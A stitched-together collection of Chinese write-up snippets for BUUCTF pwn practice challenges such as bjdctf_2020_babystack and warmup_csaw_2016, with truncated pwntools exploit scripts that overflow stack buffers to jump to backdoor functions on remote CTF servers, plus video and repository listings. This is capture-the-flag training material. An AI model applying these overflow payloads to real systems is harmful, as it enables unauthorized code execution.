后门函数地址是0x4006e6 frompwnimport* p=remote('node4.buuoj.cn',25250) back_door=0x4006e6p.recvuntil('your name:\n') p.sendline(str(0x40)) p.recvuntil('u name?\n') payload=b'a'*0x18+p64(back_door) p.sendline(payload) p.interactive()...
开启了NX保护 拖进IDA 发现溢出点,read由用户控制输入的长度,而buf的实际长度只有6h,需要塞入10h的数据来溢出 在函数列表里发现后门函数 Payload如下 frompwnimport*elf= ELF('./babystack') p= remote('node3.buuoj.cn',28348) Payload= b'a'*(0x10 + 8) + p64(elf.sym['backdoor']) p.sendline("...
NO.18 bjdctf_2020_babystack_sovle exp #-*- coding:utf-8-*- from pwn import * context(os="linux", arch="amd64", log_level="debug") local = 0 if local: p = process('./bjdctf_2020_babystack') else: p = remote('node3.buuoj.cn',26095) #elf = ELF('bjdctf_2020_babystack') ...
PWN buuctf刷题 - bjdctf_2020_babystack 16:33 PWN buuctf刷题 - [OGeek2019]babyrop 40:17 PWN buuctf刷题 - jarvisoj_level2 23:34 PWN buuctf刷题 - ciscn_2019_n_8 40:58 PWN buuctf刷题 - PWN5 14:41 PWN buuctf刷题 - ciscn_2019_c_1 43:07 PWN buuctf刷题 - jarvisoj_...
005.pwn1_sctf_2016 006.jarvisoj_level0 007.ciscn_2019_c_1 008.[第五空间2019 决赛]PWN5 009.ciscn_2019_n_8 010.jarvisoj_level2 011.[OGeek2019]babyrop 012.get_started_3dsctf_2016 013.bjdctf_2020_babystack 014.ciscn_2019_en_2
022.bjdctf_2020_babyrop 023.jarvisoj_fm 024.bjdctf_2020_babystack2 025.pwn2_sctf_2016 026.babyheap_0ctf_2017 .gitattributes .gitignore README.md Breadcrumbs BUUCTF-Pwn /009.ciscn_2019_n_8 / README.md Latest commit Real-Simplicity 更新 d066e0b· Dec 5, 2022 HistoryHistory File metadata...
此外,其实本题文件还开启了 NX 保护,即栈上的数据不可做为代码执行,不过开启该保护完全不影响完成该题。为避免过多赘述,后续并不经常强调保护的问题。 代码语言:javascript 复制 └─$ checksec ciscn_2019_n_1[*]'/home/h-t-m/ciscn_2019_n_1'Arch:amd64-64-littleRELRO:PartialRELROStack:No canary fou...
warmup_csaw_2016 和上一个类似程序中有个sub_40060d的函数可以直接查看flag,控制eip指向这个函数即可 EXP 代码语言:javascript 复制 from pwnimport*sh=process("./warmup_csaw_2016")sh=remote("node3.buuoj.cn",27439)payload="a"*72cat=0x40060Dsleep(2)sh.sendline(payload+p64(cat))sh.interactive(...
RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) 2.IDA main int__cdeclmain(intargc,constchar**argv,constchar**envp){vulnerable_function();returnwrite(1,"Hello, World!\n",0xEuLL);} vulnerable_function ...
原博文 BUUCTF-bjdctf_2020_babystack writeup 2021-02-09 17:48 −... KaguyaSaikou 0 290 0x01 Wechall writeup 2019-12-20 15:44 −--- storage:writeup time:2018/4/6 --- # 0x01 Wechall writeup [toc] ## [Limited Access](http://www.wechall.net/challenge/wannabe7331/limited_acce...